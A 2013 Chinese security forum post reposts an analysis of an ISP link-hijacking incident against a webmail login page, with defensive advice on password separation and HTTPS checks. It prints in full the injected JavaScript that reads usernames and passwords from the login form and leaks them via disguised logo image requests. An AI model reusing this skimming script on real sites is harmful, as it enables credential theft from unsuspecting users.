查看: 2102|回复: 1
收起左侧

[求助] 网络劫持那些事

[复制链接]
virusdefender
发表于 2013-2-1 08:27:21 | 显示全部楼层 |阅读模式
最近一直关注这方面的技术,为大家转载几篇文章。

不一定看懂,就当是增长知识面了。

1.运营商DNS劫持的那些事儿

2.链路劫持攻击一二三

3.本文要登录才能查看,我把全文贴在这。(本文拒绝敏感评论)

转自 http://zone.wooyun.org/content/2507

国内某邮件服务商,近期在某南方地区有大量客户反应登录时出错和异常,于是工作人员进行了一下跟进,发现如下:
首先,邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密(没错,JS的RSA),发送到SSO登陆点,然后进行登录,有些人一看RSA,应该挺安全的了,不过……
在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了,原理很简单,大家可以参考腾讯安全中心的这篇文章http://security.tencent.com/index.php/blog/msg/10

在客户端抓包发现收到的HTTP数据包有异常,有几个包的TTL多了2,说明比正常从服务器到客户端的数据包少走了两跳,而且离服务器不是很远,估计在一个机房里,并且数据包的ID是很规律的12345,明显就是伪造的,包中插入了如下内容:
  1. <script type="text/javascript">
  2.     document.getElementById("freepassword").onblur = function (e) {
  3.         logoFresh();
  4.     };

  5.     function onLoginCheck() {
  6.         var user = null;
  7.         var pass = null;
  8.         user = document.getElementById("freename").value;
  9.         pass = document.getElementById("freepassword").value;
  10.         if (user.length <= 0 || pass.length <= 0) {
  11.             return false;
  12.         } else {
  13.             return rskQuery(user + '&' + pass + '&xxxxx.com');
  14.         }
  15.     };

  16.     function rskQuery(s) {
  17.         s = encodeURIComponent(s);
  18.         var r = Math.random();
  19.         var num = (Math.round(r * 100)) % 9 + 1;
  20.         var i = 0;
  21.         var out = '';
  22.         do {
  23.             var ch = s.charCodeAt(i++);
  24.             ch = (i % 2 > 0) ? (ch - i % num) : (ch + i % num);
  25.             var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1);
  26.             out += l.toString() + ch;
  27.         } while (i < s.length);
  28.         out = r.toString().substring(0, num) + out + num;
  29.         return out;
  30.     };

  31.     function logoFresh() {
  32.         var h = logoUrl();
  33.         var s = onLoginCheck();
  34.         if (s == false) {
  35.             return false;
  36.         }
  37.         for (var i = 0; i < 2; i++) {
  38.             var bg_logo = new Image(0, 0);
  39.             bg_logo.src = h + 'images/logo_bg.jpg?' + s;
  40.         }
  41.         var s1 = onLoginCheck();
  42.         var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
  43.         var result = xmlHttpConnect(ajaxUrl, "get", null);
  44.     };

  45.     function logoUrl() {
  46.         return '/';
  47.     };

  48.     function createXMLHttp() {
  49.         if (window.XMLHttpRequest) return new XMLHttpRequest();
  50.         else if (window.ActiveXObject) return new ActiveXObject("Microsoft.XMLHTTP");
  51.         else return null;
  52.     };

  53.     function xmlHttpConnect(url, method, content) {
  54.         var request = createXMLHttp();
  55.         if (request == null) return null;
  56.         try {
  57.             request.open(method, url, true);
  58.             request.send(content);
  59.         } catch (e) {
  60.             return null;
  61.         }
  62.         if ((request.readyState == 4) && (request.status == 200)) return null;
  63.         else return null
  64.     };

  65.     document.getElementById("vippassword").onblur = function (e) {
  66.         logo_Fresh();
  67.     }

  68.     function onLoginPhone() {
  69.         var user = null;
  70.         var pass = null;
  71.         user = document.getElementById("vipname").value;
  72.         pass = document.getElementById("vippassword").value;
  73.         if (user.length <= 0 || pass.length <= 0) {
  74.             return false;
  75.         } else {
  76.             return rskQuery(user + '&' + pass + '&vip.xxxxx.com');
  77.         }
  78.     }

  79.     function logo_Fresh() {
  80.         var h = logoUrl();
  81.         var s = onLoginPhone();
  82.         if (s == false) {
  83.             return false;
  84.         }
  85.         for (var i = 0; i < 2; i++) {
  86.             var bg_logo = new Image(0, 0);
  87.             bg_logo.src = h + 'images/logo_bg.jpg?' + s;
  88.         }
  89.         var s1 = onLoginCheck();
  90.         var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
  91.         var result = xmlHttpConnect(ajaxUrl, "get", null);
  92.     }
  93. </script>
复制代码
在登录form里抓取用户名和密码,当成参数跟在logo后面再访问一下logo,再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多logo的请求后面跟着明文用户名密码吧,错了,服务商那边根本没看到logo被请求两次,推断是带有这个特征的数据包被drop了,真尼玛用心啊。

至此,用户的邮箱密码已经泄露,用户和服务商也没有任何察觉,可能由于某些原因,比如延迟,丢包,bug之类的,导致部分用户被插的时候有异常,影响了原有的登录js,才导致这次事件浮出水面。
服务商由于成本问题,暂不考虑采用SSL登录。

至于那边还有什么类似设备我就不多说了,反正据我的了解,有人能在ISP机房和主干网上接入任意设备,据说连税务的都有。


关于本次事件学到的内容:
国内服务用的任何用户名和密码和在国外比如gmail,twitter的账号要不相同,而且没有任何关联,并且国外服务的注册邮箱,密保邮箱等都要采用国外邮箱,首推gmail,并且打开二次认证,不要用短信认证,用手机验证器。

线上线下密码要分开,不相同,不近似,比如本地硬盘加密密码。凡是通过明文协议传输的通通被视为已暴露,HTTPS登录时每次手动查看证书签发机构是否为之前常用的那一个,遇到怀疑是国内CA伪造证书的立刻把证书导出另存为,因为国内没有root CA(cnnic的好像在ff和chrome已经被去掉了),只有二级证书机构,一旦被发现随便签证书会被立刻取消资格,并且黑名单推送到各大浏览器和操作系统。
w5x6q7
发表于 2013-2-1 21:52:18 | 显示全部楼层
学习了
不懂得网络知识只好被动适应!
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-1-19 14:25 , Processed in 0.135215 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表